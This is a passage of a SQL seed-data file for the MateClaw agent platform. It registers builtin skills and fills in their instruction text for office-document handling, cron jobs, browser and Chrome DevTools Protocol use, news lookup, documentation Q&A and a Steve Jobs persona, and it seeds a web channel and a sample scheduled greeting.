config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000012, 'browser_cdp', '通过 Chrome DevTools Protocol (CDP) 连接或启动 Chrome,用于远程调试、共享浏览器或与外部工具协作。', 'builtin', '🔌', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'browser,cdp,chrome,debugging,automation', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000011, 'guidance', '回答用户关于 MateClaw 安装与配置的问题,优先定位并阅读本地文档,再提炼答案。', 'builtin', '🧭', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'docs,guidance,configuration,qa', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000013, 'mateclaw_source_index', '将用户问题映射到 MateClaw 文档路径与源码入口,减少盲目搜索。', 'builtin', '🗂️', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'docs,index,source,qa', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000014, 'sql_query', '使用自然语言查询数据库。发现表结构、生成 SQL、在已配置的外部数据源上执行只读查询。', 'builtin', '📊', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'sql,database,query,data', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000015, 'steve_jobs_perspective', '史蒂夫·乔布斯思维操作系统。以乔布斯视角审视产品、评估决策、提供反馈,运用其六大心智模型和独特表达风格。', 'builtin', '🍎', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'persona,jobs,product,strategy,thinking', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000016, 'make_plan', '当任务需要多步拆解或不确定执行路径时,向更强 Agent 请求一份分步可落地的执行计划,由当前 Agent 自己执行。', 'builtin', '🗺️', '1.3.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'plan,delegate,agent,collaboration', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000017, 'chat_with_agent', '当需要咨询其他 Agent、寻求帮助或用户明确要求某个 Agent 参与时,使用本技能进行单次或并行委托。', 'builtin', '💬', '1.2.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'agent,chat,collaborate,delegate', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000018, 'channel_message', '当需要主动向用户、会话或渠道单向推送消息时使用。任务完成通知、定时提醒、异步结果回推等场景。', 'builtin', '📤', '1.3.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'channel,message,push,notify,dingtalk,feishu', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000019, 'multi_agent_collaboration', '当任务需要多个 Agent 的专业能力协同完成时,编排多 Agent 并行或串行协作,整合各方结果。', 'builtin', '🤝', '1.4.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'multi-agent,collaboration,orchestration,parallel', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- RFC-042 §2.2 — bilingual display names for the 19 builtin skills. +-- Identical across all four data-*.sql files because name_zh / name_en are +-- permanent attributes, not locale-conditional. The UI picks which one to +-- show based on the active i18n locale and falls back to name when null. +UPDATE mate_skill SET name_zh = '定时任务', name_en = 'Cron Jobs' WHERE name = 'cron'; +UPDATE mate_skill SET name_zh = '文件阅读器', name_en = 'File Reader' WHERE name = 'file_reader'; +UPDATE mate_skill SET name_zh = '钉钉渠道接入', name_en = 'DingTalk Channel' WHERE name = 'dingtalk_channel_connect'; +UPDATE mate_skill SET name_zh = '邮件管理', name_en = 'Email (Himalaya)' WHERE name = 'himalaya'; +UPDATE mate_skill SET name_zh = '新闻查询', name_en = 'News' WHERE name = 'news'; +UPDATE mate_skill SET name_zh = 'PDF 处理', name_en = 'PDF' WHERE name = 'pdf'; +UPDATE mate_skill SET name_zh = 'Word 文档', name_en = 'Word Document' WHERE name = 'docx'; +UPDATE mate_skill SET name_zh = 'PPT 演示', name_en = 'PowerPoint' WHERE name = 'pptx'; +UPDATE mate_skill SET name_zh = 'Excel 表格', name_en = 'Excel' WHERE name = 'xlsx'; +UPDATE mate_skill SET name_zh = '可见浏览器', name_en = 'Visible Browser' WHERE name = 'browser_visible'; +UPDATE mate_skill SET name_zh = '浏览器 CDP', name_en = 'Browser CDP' WHERE name = 'browser_cdp'; +UPDATE mate_skill SET name_zh = '安装指引', name_en = 'Setup Guidance' WHERE name = 'guidance'; +UPDATE mate_skill SET name_zh = '源码索引', name_en = 'Source Index' WHERE name = 'mateclaw_source_index'; +UPDATE mate_skill SET name_zh = 'SQL 查询', name_en = 'SQL Query' WHERE name = 'sql_query'; +UPDATE mate_skill SET name_zh = '乔布斯视角', name_en = 'Steve Jobs Perspective' WHERE name = 'steve_jobs_perspective'; +UPDATE mate_skill SET name_zh = '制定计划', name_en = 'Make Plan' WHERE name = 'make_plan'; +UPDATE mate_skill SET name_zh = '咨询智能体', name_en = 'Chat with Agent' WHERE name = 'chat_with_agent'; +UPDATE mate_skill SET name_zh = '渠道推送', name_en = 'Channel Push' WHERE name = 'channel_message'; +UPDATE mate_skill SET name_zh = '多智能体协作', name_en = 'Multi-Agent Collaboration' WHERE name = 'multi_agent_collaboration'; + +-- 为关键 builtin skill 填充 skill_content(SKILL.md 执行协议) +-- NOTE: For pdf/docx/pptx/xlsx/himalaya, the authoritative SKILL.md is bundled in +-- classpath:skills/{name}/ and auto-synced to workspace on startup. +-- The database skill_content below is a lightweight fallback if workspace is unavailable. +UPDATE mate_skill SET skill_content = '# PDF Processing Guide + +## 能力范围 +- 阅读 PDF:使用 extract_pdf_text 或 extract_document_text 工具提取文字 +- 提取表格、元数据 +- 合并/拆分 PDF(通过技能脚本) +- 旋转页面、添加水印 +- 填写 PDF 表单(通过 scripts/fill_fillable_fields.py、scripts/fill_pdf_form_with_annotations.py) +- 加密/解密 PDF +- OCR 识别扫描件 + +## 可用脚本(技能工作区) +- scripts/check_fillable_fields.py - 检测可填写表单字段 +- scripts/extract_form_field_info.py - 提取表单字段元数据 +- scripts/extract_form_structure.py - 分析不可填写 PDF 的结构 +- scripts/fill_fillable_fields.py - 填写表单字段 +- scripts/fill_pdf_form_with_annotations.py - 以注释方式填写 +- scripts/check_bounding_boxes.py - 校验表单边界框 +- scripts/convert_pdf_to_images.py - 将 PDF 页面转为图片 +- scripts/create_validation_image.py - 创建叠加校验图片 + +## 正确使用方式 + +### 提取 PDF 文本(推荐) +tool +extract_pdf_text(filePath="/path/to/document.pdf") + + +### 指定页码范围 +tool +extract_pdf_text(filePath="/path/to/document.pdf", pages="1-5") + + +## 重要提示 +- 绝对不要对 PDF 使用 read_file - 会返回二进制乱码 +- 始终使用 extract_pdf_text 或 extract_document_text +- 使用 run_skill_script 执行 scripts/ 目录下的脚本 + +## 提取策略(自动 fallback) +1. pdftotext (poppler-utils) - 质量最好 +2. Python pdfplumber/pypdf +3. Java PDF 解析 - 纯 Java 实现,无需外部依赖 + +提取结果会显示使用了哪种方法。' WHERE id = 1000000006; + +UPDATE mate_skill SET skill_content = '# Word 文档处理 + +## 能力范围 +- 读取和提取 Word 内容:使用 extract_docx_text 或 extract_document_text +- 创建新 Word 文档(.docx),使用 docx-js (Node.js) +- 编辑现有文档:解包 XML -> 编辑 -> 校验后重新打包 +- 处理修订、批注、图片 +- 支持目录生成、页眉页脚 + +## 可用脚本(技能工作区) +- scripts/office/unpack.py - 解包并格式化 DOCX XML +- scripts/office/pack.py - 校验并重新打包,支持自动修复 +- scripts/office/validate.py - 按 XSD Schema 校验 +- scripts/office/soffice.py - LibreOffice CLI 封装 +- scripts/comment.py - 为文档添加批注 +- scripts/accept_changes.py - 接受所有修订 + +## 正确使用方式 + +### 提取 Word 文本(推荐) +tool +extract_docx_text(filePath="/path/to/document.docx") + + +## 编辑工作流 +1. 解包:python scripts/office/unpack.py document.docx unpacked/ +2. 编辑 unpacked/word/ 中的 XML +3. 打包:python scripts/office/pack.py unpacked/ output.docx --original document.docx + +## 重要提示 +- 绝对不要对 .docx 使用 read_file - DOCX 是 ZIP 格式,会返回乱码 +- 始终使用 extract_docx_text 或 extract_document_text +- 使用 run_skill_script 执行 scripts/ 目录下的脚本 + +## 提取策略(自动 fallback) +1. textutil (macOS) - 保留格式最好 +2. pandoc - 跨平台,质量优秀 +3. LibreOffice (soffice) - 转换后提取 +4. Java ZIP XML 解析 - 纯 Java 实现,无需外部依赖 + +提取结果会显示使用了哪种方法。' WHERE id = 1000000007; + +UPDATE mate_skill SET skill_content = '# 定时任务管理 + +## 能力范围 +- 创建/查询/暂停/恢复/删除定时任务 +- 支持 cron 表达式定义执行时间 +- 两种任务类型:text(固定消息)/ agent(AI 问答) +- 任务结果自动发送到指定渠道 + +## 常用 cron 表达式 +- 0 9 * * * — 每天 9:00 +- 0 */2 * * * — 每 2 小时 +- 0 9 * * 1-5 — 工作日 9:00 +- */30 * * * * — 每 30 分钟 + +## 使用说明 +帮用户创建定时任务时,确认以下信息: +1. 任务名称 +2. 执行时间(cron 表达式) +3. 任务类型(发消息 or AI 问答) +4. 目标渠道' WHERE id = 1000000001; + +UPDATE mate_skill SET skill_content = '# PPT 演示文稿处理 + +## 能力范围 +- 读取和提取 PPT 内容:使用 extract_document_text +- 从零创建演示文稿(pptxgenjs) +- 编辑现有演示文稿:解包 XML -> 操作幻灯片 -> 重新打包 +- 生成幻灯片缩略图用于可视化检查 +- 清理孤立幻灯片和未引用的媒体文件 + +## 可用脚本(技能工作区) +- scripts/office/unpack.py - 解包并格式化 PPTX XML +- scripts/office/pack.py - 校验并重新打包,支持自动修复 +- scripts/office/validate.py - 按 XSD Schema 校验 +- scripts/office/soffice.py - LibreOffice CLI 封装 +- scripts/add_slide.py - 添加或复制幻灯片 +- scripts/clean.py - 清理孤立幻灯片和未引用文件 +- scripts/thumbnail.py - 从幻灯片生成缩略图网格 + +## 正确使用方式 + +### 提取 PPT 文本(推荐) +tool +extract_document_text(filePath="/path/to/presentation.pptx") + + +## 编辑工作流 +1. 解包:python scripts/office/unpack.py presentation.pptx unpacked/ +2. 添加幻灯片:python scripts/add_slide.py unpacked/ --source 2 +3. 编辑 unpacked/ppt/slides/ 中的 XML +4. 清理:python scripts/clean.py unpacked/ +5. 打包:python scripts/office/pack.py unpacked/ output.pptx --original presentation.pptx + +## 重要提示 +- 绝对不要对 .pptx 使用 read_file - PPTX 是 ZIP 格式,会返回乱码 +- 始终使用 extract_document_text +- 使用 run_skill_script 执行 scripts/ 目录下的脚本 + +提取结果会显示使用了哪种方法。' WHERE id = 1000000008; + +UPDATE mate_skill SET skill_content = '# Excel 表格处理 + +## 能力范围 +- 读取和提取 Excel 内容:使用 extract_document_text +- CSV/TSV 文件可直接用 read_file 读取 +- 使用 openpyxl 创建和编辑表格 +- 通过 LibreOffice 重算公式 +- 通过解包/打包工作流进行高级 XML 编辑 + +## 可用脚本(技能工作区) +- scripts/recalc.py - 通过 LibreOffice 重算公式并检测错误 +- scripts/office/unpack.py - 解包并格式化 XLSX XML +- scripts/office/pack.py - 校验后重新打包 +- scripts/office/validate.py - 按 XSD Schema 校验 +- scripts/office/soffice.py - LibreOffice CLI 封装 + +## 正确使用方式 + +### 提取 Excel 文本(推荐) +tool +extract_document_text(filePath="/path/to/spreadsheet.xlsx") + + +### CSV/TSV 文件(可直接读取) +tool +read_file(filePath="/path/to/data.csv") + + +## 关键:使用公式而非硬编码值 +始终使用 Excel 公式而非在 Python 中计算值: +- 错误:sheet[''B10''] = total(硬编码值) +- 正确:sheet[''B10''] = ''=SUM(B2:B9)'' + +## 公式重算(必须步骤) +创建/编辑含公式的 xlsx 后: +bash +python scripts/recalc.py output.xlsx + + +## 重要提示 +- 绝对不要对 .xlsx/.xls 使用 read_file - Excel 是二进制格式,会返回乱码 +- xlsx/xls/xlsm 始终使用 extract_document_text +- csv/tsv 可以用 read_file 直接读取 +- 使用 run_skill_script 执行 scripts/ 目录下的脚本 + +提取结果会显示使用了哪种方法。' WHERE id = 1000000009; + +-- browser_visible 技能内容 +UPDATE mate_skill SET skill_content = '--- +name: browser_visible +description: 以可见模式启动真实浏览器窗口,适用于演示、调试或需要人工参与的场景。 +--- + +# Browser Visible 技能 + +## 何时使用 +- 用户说「打开浏览器」「帮我打开某网站」「浏览一下这个页面」 +- 用户需要看到真实的浏览器窗口(演示、调试、需要人工参与) +- 默认使用可见模式(headed=true) + +## 如何使用 + +使用 browser_use 工具(已注册为可调用工具)。 + +### 典型流程 + +1. **启动浏览器**(可见模式): +tool +browser_use(action="start", headed=true) + + +2. **打开网页**: +tool +browser_use(action="open", url="https://example.com") + + +3. **查看页面内容**: +tool +browser_use(action="snapshot") + + +4. **与页面交互**: +tool +browser_use(action="click", selector="button.submit") +browser_use(action="type", selector="input[name=search]", text="搜索内容") + + +5. **截图**: +tool +browser_use(action="screenshot", path="/tmp/page.png") + + +6. **关闭浏览器**: +tool +browser_use(action="stop") + + +## 支持的 action + +| Action | 说明 | 必需参数 | +|--------|------|----------| +| start | 启动浏览器 | headed(可选,默认 false) | +| stop | 关闭浏览器 | — | +| open | 打开 URL | url | +| snapshot | 获取页面文本和结构 | — | +| screenshot | 截图 | path(可选) | +| click | 点击元素 | selector | +| type | 输入文本 | selector, text | +| eval | 执行 JavaScript | code | + +## 注意事项 +- 每次会话只有一个浏览器实例,如需重启请先 stop +- 空闲 30 分钟后浏览器自动关闭 +- 如果浏览器未启动,open 操作会自动以 headless 模式启动 +- selector 使用标准 CSS 选择器语法 +' WHERE id = 1000000010; + +-- browser_cdp 技能内容 +UPDATE mate_skill SET skill_content = '--- +name: browser_cdp +description: 通过 Chrome DevTools Protocol (CDP) 连接或启动 Chrome,用于远程调试或与外部工具协作。 +--- + +# Browser CDP 技能 + +## 何时使用 +仅在以下场景使用此技能(否则使用 browser_visible): +- 用户明确要求通过 CDP 连接已运行的 Chrome +- 用户需要远程调试或共享浏览器给外部工具 +- 用户提到 Chrome DevTools Protocol、远程调试端口 + +## 如何使用 + +使用 browser_use 工具的 CDP 相关 action。 + +### 场景 1:扫描本地 CDP 端口 +tool +browser_use(action="list_cdp_targets") + +扫描 9000-10000 端口范围,返回可用的 CDP 端点。也可指定端口: +tool +browser_use(action="list_cdp_targets", cdpPort=9222) + + +### 场景 2:连接已运行的 Chrome +tool +browser_use(action="connect_cdp", url="http://localhost:9222") + +连接后自动获取当前打开的页面,可直接进行 snapshot、click、type 等操作。 + +### 场景 3:启动新 Chrome 并开启 CDP +如果没有已运行的 Chrome,先用命令启动: +tool +execute_shell_command(command="open -a \"Google Chrome\" --args --remote-debugging-port=9222 https://example.com") + +等待几秒后连接: +tool +browser_use(action="connect_cdp", url="http://localhost:9222") + + +### 连接后操作 +tool +browser_use(action="snapshot") +browser_use(action="open", url="https://other-site.com") +browser_use(action="click", selector="button.submit") +browser_use(action="screenshot", path="/tmp/page.png") + + +### 断开连接 +tool +browser_use(action="stop") + +注意:stop 仅断开 Playwright 与 Chrome 的连接,Chrome 进程继续运行。 + +## 注意事项 +- CDP 会暴露浏览器历史、Cookie、页面内容,注意安全 +- 每次只能有一个浏览器会话(CDP 或 launched),如需切换请先 stop +- 空闲 30 分钟后自动断开 +' WHERE id = 1000000012; + +UPDATE mate_skill SET skill_content = '--- +name: news +description: | + 从互联网查询最新新闻。当用户要求"看新闻"、"今日新闻"、"XX 分类的最新新闻"时使用此 skill。 + 支持政治、财经、社会、国际、科技、体育、娱乐等分类。自动适配内置搜索和工具搜索两种模式。 +metadata: + builtin_skill_version: "2.0" + mateclaw: + emoji: "📰" + requires: {} +--- + +# 新闻查询指南 + +## 判断搜索模式 + +你需要根据当前可用能力选择搜索方式: + +- **如果系统提示词中包含 "Built-in Web Search" 段落** → 你拥有内置搜索能力,使用「模式 A」 +- **如果工具列表中有 search 工具** → 使用「模式 B:工具搜索」 +- **如果以上都不可用** → 使用「模式 C:浏览器搜索」 + +## 分类与权威来源 + +| 分类 | 搜索关键词 | 权威网站 URL(模式 C 备用) | +|------|-----------|--------------------------| +| **政治** | 最新政治新闻 site:people.com.cn | https://cpc.people.com.cn/ | +| **财经** | 今日财经新闻 最新 | http://www.ce.cn/ | +| **社会** | 今日社会新闻 | https://www.chinanews.com/society/ | +| **国际** | 今日国际新闻 最新 | https://www.cgtn.com/ | +| **科技** | 最新科技新闻 | https://www.stdaily.com/ | +| **体育** | 今日体育新闻 | https://sports.cctv.com/ | +| **娱乐** | 今日娱乐新闻 | https://ent.sina.com.cn/ | +| **AI/科技** | 最新AI人工智能新闻 | — | +| **综合** | 今日头条新闻 最新 | — | + +--- + +## 模式 A:内置搜索(DashScope / Kimi) + +当你有内置搜索能力时,**直接回答**即可,不需要调用任何工具。 + +**操作步骤:** +1. 根据用户指定的分类构造搜索意图 +2. 直接生成回答 — 你的回复会自动融合实时搜索结果 +3. 如果用户问多个分类,在回答中分段覆盖 + +--- + +## 模式 B:工具搜索(WebSearchTool) + +当工具列表中有 search 工具时使用此模式。 + +**操作步骤:** +1. 用户未指定分类 → search(query="今日头条新闻 最新") +2. 用户指定分类 → 使用上表中对应的搜索关键词 +3. 多分类 → 依次调用 search +4. 整理结果后回复 + +--- + +## 模式 C:浏览器搜索(browser_use 兜底) + +当以上两种模式都不可用时,使用浏览器访问权威新闻网站。 + +**操作步骤:** +1. 根据用户分类,从上表选择对应的权威网站 URL +2. 调用 browser_use(action="open", url="对应URL") +3. 调用 browser_use(action="snapshot") 获取页面内容 +4. 从快照中提取标题和摘要 + +--- + +## 回复格式 + +📰 [分类] 今日要闻 + +1. **标题** — 来源 | 时间 + 摘要(1-2 句话) + +2. **标题** — 来源 | 时间 + 摘要(1-2 句话) + +## 注意事项 + +- 每个分类最多展示 5 条结果 +- 优先展示时效性强的内容 +- 回复中可附上原始链接 +' WHERE id = 1000000005; + +UPDATE mate_skill SET skill_content = '--- +name: guidance +description: "回答用户关于 MateClaw 安装、配置、使用的问题:优先读取内置文档,再提炼答案。" +metadata: + builtin_skill_version: "1.0" + mateclaw: + emoji: "🧭" + requires: {} +--- + +# MateClaw 使用问答指南 + +当用户询问 **MateClaw 的安装、配置、功能使用、架构原理** 时,使用本 skill。 + +核心原则: + +- 先读文档,再回答 +- 回答要基于已读到的内容,不臆测 +- 回答语言与用户提问语言保持一致 + +## 标准流程 + +### 第一步:列出可用文档 + +调用工具列出所有可用文档: + +tool +readMateClawDoc(action="list") + + +### 第二步:根据关键词匹配文档 + +根据用户问题中的关键词,从下表选择对应文档: + +| 关键词(示例) | 对应文档 | +|---------------|---------| +| 安装、部署、Docker、快速开始 | quickstart.md | +| 介绍、概览、功能、架构 | intro.md | +| 配置、application.yml、环境变量、API Key | config.md | +| Agent、ReAct、Plan-Execute、智能体 | agents.md | +| 工具、Tool、@Tool、ToolGuard | tools.md | +| 技能、Skill、SKILL.md、技能市场 | skills.md | +| MCP、插件、协议 | mcp.md | +| 渠道、钉钉、飞书、Telegram、Discord | channels.md | +| 聊天、消息、SSE、流式 | chat.md | +| 模型、Qwen、Ollama、DashScope | models.md | +| 安全、JWT、认证、审批 | security.md | +| 控制台、前端、UI、暗黑模式 | console.md | +| 记忆、Memory、上下文 | memory.md | +| 桌面、Desktop | desktop.md | +| 报错、问题、FAQ | faq.md | +| 路线图、计划、Roadmap | roadmap.md | +| 贡献、开发、PR | contributing.md | +| API、接口、端点 | api.md | + +### 第三步:读取文档 + +根据用户语言选择文档路径: +- 中文问题 → zh/.md +- 英文问题 → en/.md + +tool +readMateClawDoc(action="read", path="zh/config.md") + + +如果一个文档不够,可以读取多个相关文档。 + +### 第四步:提取信息并作答 + +从文档中提取关键信息,组织成可执行答案: + +- 先给直接结论 +- 再给步骤/命令/配置示例 +- 补充必要前置条件与常见坑 + +## 输出质量要求 + +- 不编造不存在的配置项或命令 +- 涉及路径、命令、配置键时,给可复制的原文片段 +- 若信息不足,明确告知并建议查看哪篇文档 +' WHERE id = 1000000011; + +UPDATE mate_skill SET skill_content = '--- +name: mateclaw_source_index +description: "将用户问题中的主题、关键词映射到 MateClaw 文档路径与 Java 源码入口,减少盲目搜索。" +metadata: + builtin_skill_version: "1.0" + mateclaw: + emoji: "🗂️" + requires: {} +--- + +# MateClaw 文档与源码速查 + +回答 **安装、配置、行为原理** 类问题时,先 **按关键词归类**,再按下表 **打开 1~2 个最可能命中的路径** 阅读,避免长时间无目的遍历。 + +## 使用步骤 + +1. 从用户问题中提取主题(对照下表左列或同类词)。 +2. **先读文档**:调用 readMateClawDoc(action="read", path="zh/<专题>.md") 或 en/<专题>.md。 +3. 若文档不足以回答,再参考表中 **源码入口** 用 readFile 工具阅读源码。 + +## 主题 / 关键词 → 优先文档与源码 + +| 主题或关键词(示例) | 文档(docs/) | Java 源码入口(vip.mate.*) | +|---------------------|-------------|---------------------------| +| 安装、部署、Docker | quickstart.md | README.md, docker-compose.yml | +| 项目介绍、架构 | intro.md | MateClaw_Design.md | +| 配置、环境变量 | config.md | application.yml, config/ | +| Agent、ReAct、状态机 | agents.md | agent/ReActAgent.java, agent/BaseAgent.java | +| 工具、@Tool | tools.md | tool/builtin/, tool/ToolRegistry.java | +| 技能、SKILL.md | skills.md | skill/runtime/SkillRuntimeService.java | +| MCP、插件 | mcp.md | tool/(grep mcp) | +| 渠道、钉钉、飞书 | channels.md | channel/ | +| 聊天、消息、SSE | chat.md | workspace/conversation/ | +| 模型、Qwen、Ollama | models.md | llm/ | +| 安全、JWT | security.md | auth/, tool/guard/ | +| 控制台、前端 | console.md | mateclaw-ui/src/views/ | +| 记忆、Memory | memory.md | memory/ | +| 桌面应用 | desktop.md | mateclaw-desktop/ | +| 报错、FAQ | faq.md | — | +| 路线图 | roadmap.md | — | +| 贡献、开发 | contributing.md | CLAUDE.md | +| API、接口 | api.md | 各 controller/ 包 | + +## 约定 + +- 文档通过 readMateClawDoc 工具读取,路径格式:zh/<专题>.md 或 en/<专题>.md +- 表中 **源码入口** 为起点;应用 readFile 工具阅读,不要一次性通读大目录 +- 本 skill **不替代** 实际阅读:锁定候选路径后应立即读取并核对 +' WHERE id = 1000000013; + +UPDATE mate_skill SET skill_content = '# Steve Jobs · 思维操作系统 + +## 角色扮演规则(最高优先级) +此 Skill 激活后,直接以 Steve Jobs 的身份回应: +- 用「我」而非「乔布斯会认为...」 +- 直接用此人的语气、节奏、词汇回答问题 +- 禁止跳出角色做 meta 分析(除非用户明确要求「退出角色」) + +## 触发条件 +当用户消息包含以下关键词时自动激活: +- "用乔布斯的视角"、"乔布斯模式"、"Jobs模式"、"Steve Jobs" +- "像乔布斯一样思考"、"乔布斯会怎么看" + +## 六大核心心智模型 +1. **聚焦即说不** — 对一百个好主意说 No +2. **端到端控制** — 真正认真对待软件的人应该自己做硬件 +3. **连点成线** — 人生无法前瞻规划,只能回溯理解 +4. **死亡过滤器** — 如果今天是生命最后一天,你还会做这件事吗? +5. **现实扭曲力场** — 让人相信不可能的目标 +6. **技术与人文的交汇** — 仅有技术是不够的 + +## 决策启发式 +- 先做减法:问"能砍掉什么" +- 不问用户要什么:用户不知道自己要什么 +- A+ 团队:只和最优秀的人共事 +- 完美细节:看不见的地方也要完美 + +## 表达 DNA +- 短句、反问、三点法则 +- 高频词:insanely great, revolutionary, magical, incredible +- 禁忌词:不用「还行」「不错」「有待改进」,只用极端评价 +- 句式:结论先行,制造戏剧性停顿 + +可通过 read_skill_file 读取 references/ 目录下的参考文档获取更多背景。' WHERE id = 1000000015; + +-- ==================== 渠道种子数据 ==================== +-- Only the Web channel is seeded — see data-zh.sql for rationale. + +INSERT INTO mate_channel (id, name, channel_type, agent_id, bot_prefix, config_json, enabled, description, create_time, update_time, deleted) +VALUES (1000000001, 'Web 控制台', 'web', 1000000001, '', '{}', TRUE, '默认 Web 控制台渠道,通过浏览器 SSE 流式交互', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, channel_type=EXCLUDED.channel_type, agent_id=EXCLUDED.agent_id, bot_prefix=EXCLUDED.bot_prefix, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, description=EXCLUDED.description, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- ==================== 示例定时任务 ==================== +INSERT INTO mate_cron_job (id, name, cron_expression, timezone, agent_id, task_type, trigger_message, request_body, enabled, create_time, update_time, deleted) +VALUES (1000100001, '每日问候', '0 9 * * *', 'Asia/Shanghai', 1000000001, 'text', '早上好!请给我今天的天气播报和一句励志名言。', NULL, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, cron_expression=EXCLUDED.cron_expression, timezone=EXCLUDED.timezone, agent_id=EXCLUDED.agent_id, task_type=EXCLUDED.task_type, trigger_message=EXCLUDED.trigger_message, request_body=EXCLUDED.request_body, enabled=EXCLUDED.enabled, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_cron_job (id, name, cron_expression, timezone, agent_id, task_type, trigger_message, request_body, enabled, create_time, update_time, deleted) +VALUES (1000100002, 